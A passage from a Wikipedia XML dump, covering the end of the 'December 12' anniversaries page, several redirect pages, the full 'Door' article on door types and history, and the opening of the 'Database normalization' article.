*[[1941]] - [[Timeline of World War II|World War II]]: [[Great Britain]] declares war on [[Bulgaria]]. 
*[[1942]] - A fire in a hostel in [[St. John's, Newfoundland]] kills 100 people.
*[[1946]] - A fire at a [[New York City]] ice plant spreads to a nearby tenement killing 37 people.
*[[1948]] - [[Malayan Emergency]]: [[Batang Kali Massacre]] - 14 members of the [[Scots Guards]] stationed in [[Malaysia]] allegedly massacre 24 unarmed civilians and set fire to the village.
*[[1950]] - [[Paula Ackerman]], the first woman appointed to perform [[rabbi]]nical functions in the [[United States]], leads the congregation in her first services.
*[[1963]] - [[Kenya]] gains its independence from the [[United Kingdom]].
*[[1964]] - Prime Minister [[Jomo Kenyatta]] became the first [[Heads of State of Kenya|President]] of the [[Kenya|Republic of Kenya]].
*[[1969]] - ''[[Strategy of tension|Strategia della tensione]]'': [[Piazza Fontana bombing]] - The offices of Banca Nazionale dell'Agricoltura in Piazza Fontana, [[Milan]], are bombed.
*[[1979]] - [[Coup d'état of December Twelfth]]: [[South Korean]] military officer [[Chun Doo-hwan]] orders the arrest of Army Chief of Staff General Jeong Seung-hwa without authorization from President [[Choi Kyu-ha]], alleging involvement in the assassination of ex-President [[Park Chung Hee]].
*1979 - [[Pakistan]] President [[Zia-ul-Haq]] conferred ''Nishan-e-Imtiaz'' on Nobel laureate Dr [[Abdus Salam]].
*1979 - [[Rhodesia]] changes its name to [[Zimbabwe]].
*[[1982]] - Women's peace protest at [[Greenham Common]] - 30,000 women hold hands and form a human chain around the 14.5 km (9 mi) perimeter fence.
*[[1985]] - [[Arrow Air Flight 1285]] crashes after takeoff in Gander, [[Newfoundland]] killing 256, including 248 members of the [[United States Army]]'s [[101st Airborne Division]].
*[[1990]] - [[Pakistan]] became 37th country in the world to send an expedition to [[Antarctica]].
*[[1996]] - [[Uday Hussein]] is seriously injured in an assassination attempt.
*[[2000]] - The [[Supreme Court of the United States|United States Supreme Court]] releases its decision in ''[[Bush v. Gore]]'', deciding the [[U.S. presidential election, 2000|presidential election of 2000]].
*[[2003]] - [[Paul Martin, Jr.]] is sworn-in as the 21st [[Prime Minister of Canada]].
*2003 - [[Keiko]], the star orca whale of ''[[Free Willy]]''

==Births==
*[[1298]] - Archduke [[Albert II of Austria]] (d. [[1358]])
*[[1418]] - Archduke [[Albert VI of Austria]] (d. [[1463]])
*[[1574]] - [[Anne of Denmark]], Queen of [[James I of England]] (d. [[1619]])
*[[1610]] - [[Saint Vasilije]] (d. [[1671]])
*[[1712]] - [[Prince Charles of Lorraine]], Austrian military leader (d. [[1780]])
*[[1724]] - [[Samuel Hood, 1st Viscount Hood]], British admiral (d. [[1816]])
*[[1745]] - [[John Jay]], [[Chief Justice of the United States]] (d. [[1829]])
*[[1779]] - [[Madeline Sophie Barat]], French saint (d. [[1865]])
*[[1786]] - [[William L. Marcy]], American statesman (d. [[1857]])
*[[1799]] - [[Karl Briullov]], Russian painter (d. [[1852]])
*[[1805]] - [[William Lloyd Garrison]], American abolitionist (d. [[1879]])
*[[1806]] - [[Stand Watie]], American Confederate general and Cherokee leader (d. [[1871]])
*[[1821]] - [[Gustave Flaubert]], French writer (d. [[1880]])
*[[1863]] - [[Edvard Munch]], Norwegian expressionist painter (d. [[1944]])
*[[1864]] - [[Paul Elmer More]], American critic and essayist (d. [[1937]])
*[[1866]] - [[Alfred Werner]], German chemist and [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1919]])
*[[1870]] - [[Walter Benona Sharp]], American oil baron (d. [[1912]])
*[[1876]] - [[Alvin Kraenzlein]], American athlete and Olympic gold medalist (d. [[1928]])
*[[1887]] - [[Kurt Atterberg]], Swedish composer (d. [[1974]])
*[[1892]] - [[Herman Potocnik|Herman Poto&amp;#269;nik Noordung]], Austro-Hungarian-born rocket engineer (d. [[1929]])
*[[1893]] - [[Edward G. Robinson]], American actor (d. [[1973]])
*[[1900]] - [[Sammy Davis, Sr.]], American dancer (d. [[1988]])
*[[1903]] - [[Dagmar Nordstrom]], American composer and pianist (d. [[1976]])
*1903 - [[Yasujiro Ozu]], Japanese film director (d. [[1963]])
*[[1904]] - Baron [[Nicolas de Gunzburg]], magazine editor and socialite (d. [[1981]]) 
*[[1905]] - [[Manes Sperber|Mànes Sperber]], Austro-Hungarian-born writer (d. [[1984]])
*[[1914]] - [[Patrick O'Brian]] (Richard Patrick Russ), British author (d. [[2000]])
*[[1915]] - [[Frank Sinatra]], American singer and actor (d. [[1998]])
*[[1918]] - [[Joe Williams (jazz singer)|Joe Williams]], American singer (d. [[1999]])
*[[1919]] - [[Olivia Barclay]], British astrologer (d. [[2001]])
*[[1923]] - [[Bob Barker]], American television game show host
*[[1924]] - [[Ed Koch]], Mayor of New York City
*[[1927]] - [[Honor Blackman]], British actress
*1927 - [[Robert Noyce]], American inventor (d. [[1990]])
*[[1928]] - [[Chinghiz Aitmatov]], Soviet-born Kyrgyz writer
*[[1929]] - [[John Osborne]], British dramatist (d. [[1994]])
*1929 - [[Toshiko Akiyoshi]], Japanese musician
*[[1932]] - [[Bob Pettit]], American basketball player
*[[1934]] - [[Miguel de la Madrid Hurtado|Miguel de la Madrid]], [[President of Mexico]]
*[[1938]] - [[Connie Francis]], American singer
*[[1940]] - [[Sharad Pawar]], Indian politician
*1940 - [[Dionne Warwick]], American singer
*[[1943]] - [[Dickey Betts]], American guitarist and singer ([[The Allman Brothers]])
*1943 - [[Grover Washington, Jr.]], American saxophonist (d. [[1999]])
*[[1946]] - [[Emerson Fittipaldi]], Brazilian racing driver and Formula 1 World Champion
*[[1950]] - [[Rajnikanth]] (Shivaji Rao Gaekwad), Indian actor
*[[1952]] - [[Cathy Rigby]], American gymnast and actress
*[[1956]] - [[Johan Van der Velde]], Dutch cyclist
*[[1957]] - [[Sheila E.]], American musician
*[[1962]] - [[Tracy Austin]], American tennis player
*[[1966]] - [[Royce Gracie]], Brazilian martial artist
*[[1967]] - [[John Randle]], American football player
*[[1968]] - [[Laurie Williams]], Indian cricket player
*[[1970]] - [[Jennifer Connelly]], American actress
*1970 - [[Madchen Amick]], American Actress
*[[1974]] - [[Rey Mysterio, Jr.]], American Wrestler
*1974 - [[Nolberto Solano]], Peruvian footballer
*[[1975]] - [[Mayim Bialik]], American Actress
*[[1976]] - [[Dan Hawkins]], British guitarist ([[The Darkness]])
*[[1977]] - [[Orlando Hudson]], American baseball player
*[[1978]] - [[Monica Barladeanu]], Romanian actress
*1978 - [[Evren Genis]], Turkish composer
*[[1979]] - [[Garrett Atkins]], American baseball player
*1979 - [[Nate Clements]], American football player
*[[1981]] - [[Jeret Peterson]], American aerial skier
*1981 - [[Yuvraj Singh]], Indian cricket player
*1981 - [[Stephen Warnock]], British footballer
*[[1983]] - [[Katrina Elam]], American singer
*1983 - [[Brad Smith]], American football player
*[[1989]] - [[Harry Eden]], British actor
&lt;!-- Do not add yourself, or anyone else without a Wikipedia article, to this list --&gt;

==Deaths==
*[[884]] - [[Carloman, King of the West Franks]]
*[[1212]] - [[Geoffrey, Archbishop of York]]
*[[1569]] - [[Metropolitan Philip]] of Moscow (b. [[1507]])
*[[1574]] - [[Selim II]], [[Ottoman Sultan]] (b. [[1524]])
*[[1685]] - [[John Pell]], English mathematician (b. [[1610]])
*[[1751]] - [[Henry St John, 1st Viscount Bolingbroke]], English statesman and philosopher (b. [[1678]])
*[[1754]] - [[Wu Jingzi]], Chinese writer (b. [[1701]])
*[[1766]] - [[Johann Christoph Gottsched]], German writer (b. [[1700]])
*[[1789]] - [[John Ponsonby]], Irish politician (b. [[1713]])
*[[1790]] - [[Mikhail Shcherbatov]], Russian philosopher and writer (b. [[1733]])
*[[1843]] - King [[William I of the Netherlands]], (b. [[1772]])
*[[1889]] - [[Robert Browning]], British poet (b. [[1812]])
*[[1894]] - Sir [[John Sparrow David Thompson|John Thompson]], fourth [[Prime Minister of Canada]] (b. [[1845]])
*[[1913]] - Emperor [[Menelek II of Ethiopia]] (b. [[1844]])
*[[1923]] - [[Raymond Radiguet]], French author (b. [[1903]])
*[[1926]] - [[Jean Richepin]], French poet (b. [[1849]])
*[[1929]] - [[Charles Goodnight]], American cattle baron (b. [[1836]])
*[[1939]] - [[Douglas Fairbanks]], American actor (b. [[1883]])
*[[1952]] - [[Bedrich Hrozny|Bed&amp;#345;ich Hrozný]], Austro-Hungarian-born Czechoslovak orientalist and linguist (b. [[1879]])
*[[1963]] - [[Ozu Yasujiro]], Japanese film director (b. [[1903]])
*[[1968]] - [[Tallulah Bankhead]], American actress (b. [[1902]])
*[[1970]] - [[Doris Blackburn]], Australian politician (b. [[1889]])
*[[1971]] - [[David Sarnoff]], Russian-born American General Manager of RCA(b. [[1891]])
*[[1976]] - [[Vinko Zganec]], Croatian [[ethnomusicologist]] (b. [[1890]])
*[[1985]] - [[Anne Baxter]], American actress (b. [[1923]])
*[[1994]] - [[Stuart Roosa]], American astronaut (b. [[1933]])
*[[1996]] - [[Vance Packard]], American author (b. [[1914]])
*[[1999]] - [[Joseph Heller]], American author (b. [[1923]])
*[[2001]] - [[Jean Richard]], French actor (b. [[1921]])
*[[2002]] - [[Dee Brown]], American author (b. [[1908]])
*[[2003]] - [[Geidar Aliev]], [[President of Azerbaijan]] 
*2003 - [[Joseph Anthony Ferrario]], American Catholic prelate (b. [[1926]])

==Holidays and observances==
* [[Calendar of Saints|R.C. Saints]] - optional memorial of [[Our Lady of Guadalupe]]
* Also see [[December 12 (Eastern Orthodox liturgics)]]
*[[Bahá'í Faith]] - Feast of Masá'il (Questions) - First day of the 15th month of the Bahá'í Calendar
* [[Kenya]] - ''Jamhuri Day'': [[Independence Day]] (from Britain, [[1963]])
* [[United Nations]] - [[Digital Solidarity Day]]

== External links ==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/12 BBC: On This Day]

----

[[December 11]] - [[December 13]] - [[November 12]] - [[January 12]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:12 Desember]]
[[ar:12 ديسمبر]]
[[an:12 d'abiento]]
[[ast:12 d'avientu]]
[[bg:12 декември]]
[[be:12 сьнежня]]
[[bs:12. decembar]]
[[br:12 Kerzu]]
[[ca:12 de desembre]]
[[ceb:Disyembre 12]]
[[cv:Раштав, 12]]
[[co:12 di decembre]]
[[cs:12. prosinec]]
[[cy:12 Rhagfyr]]
[[da:12. december]]
[[de:12. Dezember]]
[[et:12. detsember]]
[[el:12 Δεκεμβρίου]]
[[es:12 de diciembre]]
[[eo:12-a de decembro]]
[[eu:Abenduaren 12]]
[[fo:12. desember]]
[[fr:12 décembre]]
[[fy:12 desimber]]
[[ga:12 Nollaig]]
[[gl:12 de decembro]]
[[ko:12월 12일]]
[[hr:12. prosinca]]
[[io:12 di decembro]]
[[id:12 Desember]]
[[ia:12 de decembre]]
[[is:12. desember]]
[[it:12 dicembre]]
[[he:12 בדצמבר]]
[[jv:12 Desember]]
[[ka:12 დეკემბერი]]
[[csb:12 gòdnika]]
[[ku:12'ê berfanbarê]]
[[la:12 Decembris]]
[[lt:Gruodžio 12]]
[[lb:12. Dezember]]
[[hu:December 12]]
[[mk:12 декември]]
[[ms:12 Disember]]
[[nap:12 'e dicembre]]
[[nl:12 december]]
[[ja:12月12日]]
[[no:12. desember]]
[[nn:12. desember]]
[[oc:12 de decembre]]
[[pl:12 grudnia]]
[[pt:12 de Dezembro]]
[[ro:12 decembrie]]
[[ru:12 декабря]]
[[se:Juovlamánu 12.]]
[[sco:12 December]]
[[sq:12 Dhjetor]]
[[scn:12 di dicèmmiru]]
[[simple:December 12]]
[[sk:12. december]]
[[sl:12. december]]
[[sr:12. децембар]]
[[fi:12. joulukuuta]]
[[sv:12 december]]
[[tl:Disyembre 12]]
[[tt:12. Dekäber]]
[[te:డిసెంబర్ 12]]
[[th:12 ธันวาคม]]
[[vi:12 tháng 12]]
[[tr:12 Aralık]]
[[uk:12 грудня]]
[[wa:12 di decimbe]]
[[war:Disyembre 12]]
[[zh:12月12日]]
[[pam:Disiembri 12]]</text>
    </revision>
  </page>
  <page>
    <title>Dredgers</title>
    <id>8634</id>
    <revision>
      <id>15906606</id>
      <timestamp>2004-12-30T19:06:57Z</timestamp>
      <contributor>
        <username>GregoryWeir</username>
        <id>86989</id>
      </contributor>
      <comment>Made this a redirect to [[Dredge]]. See [[Talk:Dredge]] for details.</comment>
      <text xml:space="preserve">#REDIRECT [[Dredge]]</text>
    </revision>
  </page>
  <page>
    <title>Dirt speedway racing</title>
    <id>8636</id>
    <revision>
      <id>32736867</id>
      <timestamp>2005-12-26T04:31:08Z</timestamp>
      <contributor>
        <username>Drover</username>
        <id>92133</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Dirt track racing]]</text>
    </revision>
  </page>
  <page>
    <title>Door</title>
    <id>8637</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41456753</id>
      <timestamp>2006-02-27T13:32:16Z</timestamp>
      <contributor>
        <username>Patrick</username>
        <id>4388</id>
      </contributor>
      <comment>/* Types of doors */ Sometimes a door, though not just sliding, stays parallel to the wall while opening and closing.</comment>
      <text xml:space="preserve">{{Otheruses4|the architectural element|the rock band|The Doors}}

[[Image:House front door.jpg|right|thumb|The front door of a house is often [[decoration|decorated]] to appear inviting.]]

A '''door''' is a generally floor-length opening in a wall (or other partition), often equipped with a hinged or sliding panel which can be moved to leave the opening accessible, or to close it more or less securely.  Doors are nearly universal in structures of all kinds (especially [[house]]s and other [[building]]s), allowing passage between inside and outside, or among internal [[room]]s. Doors are also found in [[vehicle]]s, [[cupboard]]s, [[cage (enclosure)|cage]]s, etc.

The purpose of a door opening is:
*to allow people, [[animal]]s and objects to pass
*for [[ventilation]]

The purpose of a door closure is:
*preventing passage of air; reducing air drafts and creating an enclosed space that can be heated or cooled more effectively ([[revolving door]]s are especially efficient for this purpose)
*[[privacy]] and [[noise]] reduction
*keeping occupants inside a vehicle
*regulation of access, especially when combined with various types of [[Locksmithing|locks]]
*for [[aesthetics]] (e.g. cupboard doors cutting off view of the contents)
*to help prevent the spread of [[fire]]

Doors and doorways can also appear in metaphorical or mystical situations; for example, a spiritualist might speak of &quot;opening a door to the other world&quot;.
Doors can have ritual purposes (one example concerns the doorkeeping duties of the [[Black Rod|Gentleman Usher of the Black Rod]]).

The term ''door'' can refer either to the opening or to the movable panel which closes it.  The term ''doorway'' can be used to refer specifically to the opening.  When framed in wood for snug fitting of a door, the doorway consists of two vertical ''jambs'' on either side, a ''lintel'' or ''head jamb'' at the top, and perhaps a ''threshold'' at the bottom.

See [[door furniture]] for a discussion of attachments to doors such as [[doorhandle]]s and [[doorknob]]s.

==Types of doors==
[[Image:Namdroling.Temple.India.Door.jpg|thumb|left|300px|A [[decoration|decorated]] door from the [[Tibet]]an [[Namdroling]] [[monastery]], southern [[India]].]]

A door may slide or [[rotation|rotate]]. Sometimes a door, though not just sliding, stays parallel to the wall while opening and closing.

Sliding is usually horizontal. In opened position the door may be exposed on one side; a person leaning on that side when the door is closed, can be hurt when the door is opened. Also an object can obstruct the door. Sometimes the door is constructed such that in closed state the sliding door forms a smooth continuation of the wall, e.g. in the case of a sliding side door of a vehicle.

The door may also slide between two panels ([[pocket door]]).

In the case of rotation, the axis of rotation is usually vertical, but e.g. for garage doors often horizontal, above the door opening. Sometimes the axis of rotation is, with a special construction, not in the plane of the door, on the other side than that in which the door opens, to reduce the space required on the side to which the door opens. This is sometimes the case in a train, for the door to the toilet, opening inward. 

Many kinds of doors have specific names, depending on their purpose. The most common variety of door consists of a single rigid panel that fills the doorway, [[hinge]]d along one side so that it can fold away from the doorway in one direction but not in the other.  Many variations on this basic design are possible, such as &quot;double&quot; doors that have two adjacent independent panels hinged on each side of the doorway. 

A '''trapdoor''' is a door that is oriented horizontally in a [[floor]] or [[ceiling]], often accessed via a [[ladder]].

A '''stable door''' is divided in half horizontally.  The top half can be opened to allow the [[horse]] to be fed, while the bottom half can be closed to keep the animal inside.  Stable doors are also known as [[dutch door]]s.

A '''swing door''' has special hinges that allow it to open either outwards or inwards, and is usually sprung to keep it closed.  '''Saloon doors''' are a pair of lightweight swing doors often found in public bars.

A '''blind door''' is a door with no passage, a 'fake' door that is actually part of the wall. It is used for decorative purposes.

An '''up-and-over''' door is often used in garages.  Instead of hinges it has a mechanism, often counter[[balance]]d or [[torsion spring|sprung]], that allows it to be lifted so that it rests horizontally above the opening.  

A '''barn door''' is a door on a [[barn (building)|barn]]. It is often/always found on barns, and because of a barn's immense size (often) doors are subsequently big for utility. 

A '''French door''' is a door that has multiple lights, the full length of the door.   Traditional French doors are assembled from individual small pieces of [[glass]] and [[mullion]]s. French doors made of double-pane glass (on exterior doors for insulation reasons) may have the decorative grill embedded between the panes.  The decorative grill may also be superimposed on top of single pane of glass in the door.

A '''louvre door''' has fixed or movable wooden fins (often called [[slats]]) which permit open [[ventilation]] whilst preserving privacy and preventing the passage of light to the interior. Being relatively weak structures, they are most commonly used for [[Wardrobe|wardrobes]] and drying rooms, where security is of less importance than good ventilation, although a very similar structure is commonly used to form [[Window shutter|window shutters]].

A '''flush door''' is a completely smooth, panelled door, having [[plywood]] or [[Medium-density fibreboard|MDF]] fixed over a light timber frame, the hollow parts of which are often filled with a cardboard core material. Flush doors are most commonly employed in the interior of a dwelling, although slightly more substantial versions are occasionally used as exterior doors, especially within hotels and other buildings containing many independent dwellings. 

A '''ledge and brace door''' is a door made from multiple vertical planks fixed together by two horizontal planks (the ledges) and kept square by a diagonal plank (the brace). 

[[Image:Automatic door mace 1.jpg|thumb|Mechanism of the sliding door of a lift]]

A '''garden door''' is any door that opens to a [[garden]] or backyard.  It is often used specifically for double French doors in place of a sliding glass door.  In such a configuration, it has the advantage of a very large opening for moving large objects in and out.

A '''pet door''' is an opening in a door to allow [[pet]]s to enter and exit without the main door being opened.   It may be simply covered by a [[rubber]] flap or it may be an actual door hinged on the top that the pet can push through.   [[Pet door]]s may be mounted in a sliding glass door as a new (permanent or temporary) panel.  Pet doors may be unidirectional, only allowing pets to exit.  Pet doors may be electronic, only allowing pets with a special electronic tag to enter.

A '''[[revolving door]]''' is a type of door that typically consists of a structure with three or four panels that meet in the center and rotate one way about a  vertical axis (sometimes the movement is not in a circle, but following a more complicated path, a combination of rotation and translation). Between the point of access and the point of exit the user walks between two moving panels. The door may be motorized or the user needs to push the front panel, and the space between two panels may be designed for multiple users or a single one. This door design is used primarily to maintain an air seal from the outside, thus minimizing leaking of [[climate control]]led air from the building and the resulting expense of compensating for the loss.  This type of door is also often seen as a mark of [[prestige (sociology)|prestige]] and [[glamour]] for a building and it not unusual for neighbouring buildings to install their own revolving doors when a rival building gets one.

'''Automatic doors''' are powered open and closed, a door fitted with a spring to close it is not an automatic door. There are three methods by which an automatic door is activated. 

1 - A [[sensor]] detects traffic is approaching. Sensors for automatic doors are generally:

*A [[pressure sensor]] - a floor mat which reacts to the pressure of someone standing on it.
*An [[infra-red]] curtain or beam which shines invisible light onto sensors; if someone or something blocks the beam the door can open.
*A [[motion sensor]] which uses low-power microwave [[radar]].
*An electronic sensor (e.g. based on infra red or radio waves) can be triggered by something that someone carries, or is installed inside a vehicle. These are popular for garage doors.

2 - A [[switch]] is operated manualy, perhaps after security checks. This can be a push button switch or a swipe card.  

3 - The user pushes, or pulls the door, once the door detects the movement it completes the open and close cycle. These are also known as power-assisted doors. 

In addition to activate sensors automatic doors are generally fitted with safety sensors. These are usually an infra-red curtain or beam, but can be a pressure mat fitted on the swing side of the door. The purpose of the safety sensor is to prevent the door opening or slow its speed if an object is detected in its path whilst opening and to prevent the door closing or reactivate it if an object is detected in its path whilst closing.

[[Heron of Alexandria]] created the first automatic door.

'''Blast-proof doors''', '''nuclear-blast proof doors''', etc.

==History==
{| align=&quot;left&quot;
|-
|[[Image:old door.jpg|none|300px|thumb|An old door, [[Kashan]], [[Iran]]]]
|}
The earliest records are those represented in the paintings of the [[Ancient Egypt|Egyptian]] tombs, in which they are shown as single or double doors, each in a single piece of wood. In Egypt, where the climate is intensely dry, there would be no fear of their warping, but in other countries it would be necessary to frame them, which according to Vitruvius (iv. 6.) was done with stiles (sea/si) and rails ''(see: [[Frame and panel]])'': the spaces enclosed being filled with panels (tympana) let into grooves made in the stiles and rails. The stiles were the vertical boards, one of which, [[Mortise and tenon|tenoned]] or [[hinge]]d, is known as the hanging stile, the other as the middle or meeting stile. The horizontal cross pieces are the top rail, bottom rail, and middle or intermediate rails. The most ancient doors were in timber, those made for [[Solomon's Temple|King Solomon's temple]] being in olive wood (I Kings vi. 31-35), which were carved and overlaid with gold. The doors dwelt upon in [[Homer]] would appear to have been cased in silver or brass. Besides Olive wood, elm, cedar, oak and cypress were used. 

All ancient doors were hung by pivots at the top and bottom of the hanging stile which worked in sockets in the [[lintel]] and [[sill]], the latter being always in some hard stone such as [[basalt]] or [[granite]]. Those found at [[Nippur]] by Dr. Hilprecht, dating from [[2000 B.C.]] were in [[dolerite]]. The tenons of the gates at [[Balawat]]  were sheathed with bronze (now in the British Museum). These doors or gates were hung in two leaves, each about 8 ft.4 in. wide and 27 ft. high; they were encased with bronze bands or strips, 10 in. high, covered with repouss decoration of figures, etc. The wood doors would seem to have been about 3 in. thick, but the hanging stile was over 14 inches diameter. Other sheathings of various sizes in bronze have been found, which proves this to have been the universal method adopted to protect the wood pivots. In the [[Hauran]] in Syria, where timber is scarce the doors were made in stone, and one measuring 5 ft. 4 in. by 2 ft. 7 in. is in the British Museum; the band on the meeting stile shows that it was one of the leaves of a double door. At Kuffeir near Bostra in Syria, Burckhardt found stone doors, 9 to 10 ft. high, being the entrance doors of the town. In [[Etruria]] many stone doors are referred to by Dennis.

The ancient [[Ancient Greece|Greek]] and [[Ancient Rome|Roman]] doors were either single doors , double doors or folding doors, in the last case the leaves were hinged and folded back. In [[Eumachia]], is a painting of a door with three leaves. In the tomb of Theron at [[Agrigentum]] there is a single four-panel door carved in stone. In the Blundell collection is a [[bas-relief]] of a temple with double doors, each leaf with five panels. Among existing examples, the bronze doors in the church of SS. Cosmas and Damiano, in Rome, are important examples of Roman metal work of the best period; they are in two leaves, each with two panels, and are framed in bronze. Those of the [[Pantheon, Rome|Pantheon]] are similar in design, with narrow horizontal panels in addition, at the top, bottom and middle. Two other bronze doors of the Roman period are in the [[Basilica of St. John Lateran|Lateran Basilica]].

The doors of the [[church of the Nativity]] at [[Bethlehem]] ([[6th century]]) are covered with plates of bronze, cut out in patterns:

those of [[Sta Sophia]] at [[Constantinople]], of the [[8th century|8th]] and [[9th century|9th]] century, are wrought in bronze, and the west doors of the cathedral of Aix-la-Chapelle ([[9th century]]), of similar manufacture, were probably brought from Constantinople, as also some of those in St. Marks, Venice.

Of the [[11th century|11th]] and [[12th century|12th]] centuries there are numerous examples of bronze doors, the earliest being one at Hildesheim, Germany ([[1015]]). Of others in South Italy and Sicily, the following are the finest: in Sant Andrea, Amalfi ([[1060]]); Salerno ([[1099]]); Canosa ([[1111]]); Troja, two doors ([[1119]] and [[1124]]); Ravello ([[1179]]), by Barisano of Trani, who also made doors for Trani cathedral; and in Monreale and Pisa cathedrals, by Bonano of Pisa. In all these cases the hanging stile had pivots at the top and bottom. The exact period when the hinge was substituted is not quite known, but the change apparently brought about another method of strengthening and decorating doors, viz, with wrought-iron bands of infinite varieties of design. As a rule three bands from which the ornamental work springs constitute the hinges, which have rings outside the hanging stiles fitting on to vertical tenons run into the masonry or wooden frame. There is an early example of the 12th century in Lincoln; in France the metal work of the doors of Notre Dame at Paris is perhaps the most beautiful in execution, but examples are endless throughout France and England.

Returning to Italy, the most celebrated doors are those of the [[Battistero di San Giovanni (Florence)]], which together with the door frames are all in bronze, the borders of the latter being perhaps the most remarkable: the modeling of the figures, birds and foliage of the south doorway, by [[Andrea Pisano]] (1330), and of the east doorway by Ghiberti (1425-1452), are of great beauty; in the north door (1402-1424) Ghiberti adopted the same scheme of design for the paneling and figure subjects in them as Andrea Pisano, but in the east door the rectangular panels are all filled, with bas-reliefs, in which Scripture subjects are illustrated with innumerable figures, these being probably the gates of Paradise of which [[Michelangelo]] speaks.

The doors of the mosques in [[Cairo]] were of two kinds; those which, externally, were cased with sheets of bronze or iron, cut out in decorative patterns, and incised or inlaid, with bosses in relief; and those in wood, which were framed with interlaced designs of the square and diamond, this latter description of work being Coptic in its origin. The doors of the palace at Palermo, which were made by Saracenic workmen for the Normans, are fine examples and in good preservation. A somewhat similar decorative class of door to these latter is found in Verona, where the edges of the stiles and rails are beveled and notched.

In the Renaissance period the Italian doors are quite simple, their architects trusting more to the doorways for effect; but in France and Germany the contrary is the case, the doors being elaborately carved, especially in the Louis XIV. and Louis XV. periods, and sometimes with architectural features such as columns and entablatures with pediment and niches, the doorway being in plain masonry. While in Italy the tendency was to give scale by increasing the number of panels, in France the contrary seems to have been the rule; and one of the great doors at Fontainebleau, which is in two leaves, is entirely carried out as if consisting of one great panel only.

The earliest Renaissance doors in France are those of the cathedral of St. Sauveur at Aix (1503); in the lower panels there are figures 3 ft. high in Gothic niches, and in the upper panels a double range of niches with figures about 2 ft. high with canopies over them, all carved in cedar. The south door of Beauvais cathedral is in some respects the finest in France; the upper panels are carved in high relief with figure subjects and canopies over them. The doors of the church at Gisors (1575) are carved with figures in niches subdivided by classic pilasters superimposed. In St. Maclou at Rouen are three magnificently carved doors; those by Jean Goujon have figures in niches on each side, and others in a group of great beauty in the center. The other doors, probably about forty to fifty years later, are enriched with bas-reliefs, landscapes, figures and elaborate interlaced borders.

In England in the 17th century the door panels were raised with bolection or projecting moldings, sometimes richly carved, round them; in the 18th century the moldings worked on the stiles and rails were carved with the egg and tongue ornament. 

* The oldest door in England can be found in [[Westminster Abbey]] and dates from 1050.  [http://news.bbc.co.uk/1/hi/uk/4743899.stm]

==See also==
* &quot;[[Suicide door]]&quot;
* [[Janus (mythology)|Janus]], [[Roman mythology|Roman god]] of doors

==External links==
{{wiktionary}}
'''Patents'''
* US[http://patft.uspto.gov/netacgi/nph-Parser?Sect2=PTO1&amp;Sect2=HITOFF&amp;p=1&amp;u=%2Fnetahtml%2Fsearch-bool.html&amp;r=1&amp;f=G&amp;l=50&amp;d=PALL&amp;S1=2724258.WKU.&amp;OS=PN/2724258&amp;RS=PN/2724258 2,724,258 ] -- ''[[Fire exit]] lock''

{{1911}}

[[Category:Architectural elements]]
[[Category:Doors]]

[[ca:Porta]]
[[cs:Dveře]]
[[de:Tür]]
[[eo:Pordo]]
[[nl:Deur]]
[[ja:扉]]
[[no:Dør]]
[[pl:Drzwi]]
[[pt:Porta]]
[[ru:Дверь]]
[[sk:Dvere]]
[[fi:Ovi]]
[[sv:Dörr]]
[[zh:门 (建筑)]]</text>
    </revision>
  </page>
  <page>
    <title>Demo scene</title>
    <id>8638</id>
    <revision>
      <id>15906610</id>
      <timestamp>2003-01-26T02:50:32Z</timestamp>
      <contributor>
        <username>General Wesc</username>
        <id>16</id>
      </contributor>
      <minor />
      <comment>Fixing redirect.</comment>
      <text xml:space="preserve">#REDIRECT [[Demoscene]]</text>
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  <page>
    <title>Database normalization</title>
    <id>8640</id>
    <revision>
      <id>41924677</id>
      <timestamp>2006-03-02T17:35:12Z</timestamp>
      <contributor>
        <username>Tarvin</username>
        <id>66892</id>
      </contributor>
      <comment>rv. vandalism by 62.135.119.254</comment>
      <text xml:space="preserve">{{expert}}

{{cleanup-date|January 2006}}

'''Database normalization''' is a process of eliminating duplicated data in a [[relational database]]. The key idea is to relate pieces of data together instead of storing the same data over and over again. Well-normalized databases have a [[Database design|design]] that reflects the true [[functional dependency|dependencies]] between tracked quantities, allowing quick updates to data with little risk of introducing inconsistencies.  This not only increases the performance of the Relational DataBase Management System (RDBMS) that is used to warehouse the data, but the ease of accessing relevant data and making connections between data that forms the basis of today's [[Business Intelligence]] applications.

There are formal methods for quantifying &quot;how normalized&quot; a relational database is, and these classifications are called '''normal forms''' (or '''NF'''). Though [[algorithms]] exist for converting a given database between forms, these may require splitting existing tables into ones that are re-joined each time a query is issued. This can lead to poor performance, so intentional [[denormalization]] is sometimes preferred.

==History==

[[Edgar F. Codd]] first proposed the process of normalization and what came to be known as the '''1st normal form''' in his paper ''A Relational Model of Data for Large Shared Data Banks'' [[Communications of the ACM]], Vol. 13, No. 6, [[June]] [[1970]], pp. 377-387[http://www.acm.org/classics/nov95/toc.html].

Codd stated:

:There is, in fact, a very simple elimination* procedure which we shall call normalization. Through decomposition nonsimple domains are replaced by &quot;''domains whose elements are atomic (nondecomposable) values.''&quot;

:&lt;small&gt;* His term ''eliminate'' is misleading, as nothing is &quot;lost&quot; in normalization. He probably described it in a mathematical sense to mean elimination of complexity &lt;/small&gt;

In his paper, Codd used the term &quot;nonsimple&quot; domains to describe a heterogeneous data structure, but later researchers would refer to such a structure as an [[abstract data type]].

==Normal Forms==

One can only describe a database as having a normal form if the relationships between quantities have been rigorously defined. It is possible to use [[set theory]] to express this knowledge once a problem domain has been fully understood, but most database designers model the relationships in terms of an &quot;idealized schema&quot;. (The mathematical supports come back into play in proofs regarding the process of transforming from one form to another.)

[[Edgar F. Codd|Edgar Frank Codd]] originally established three normal forms: 1NF, 2NF and 3NF. There are now others that are generally accepted, but 3NF is widely considered to be sufficient for many practical applications. Most [[table (database)|tables]] when reaching 3NF are also in [[#Boyce-Codd normal form|BCNF]]. 4NF and 5NF are further extensions, and 6NF only applies to [[temporal database]]s. Normalizing beyond 3NF can be tricky with current SQL technology [[as of 2005]], but a non-fully normalized database may be vulnerable to data corruption (referred to as update anomalies). Full normalization, even when not fully implemented in the target technology, is considered a good exercise to help discover all potential internal database consistency problems.

===Non First Normal Form (NF²)===

The non first normal form extends the first normal form as it &quot;allows sets and sets
of sets to be attribute domains&quot; (Schek 1982). It is therefore non first normal as
the first normal form states that attribute domains must be atomic. This extension introduces
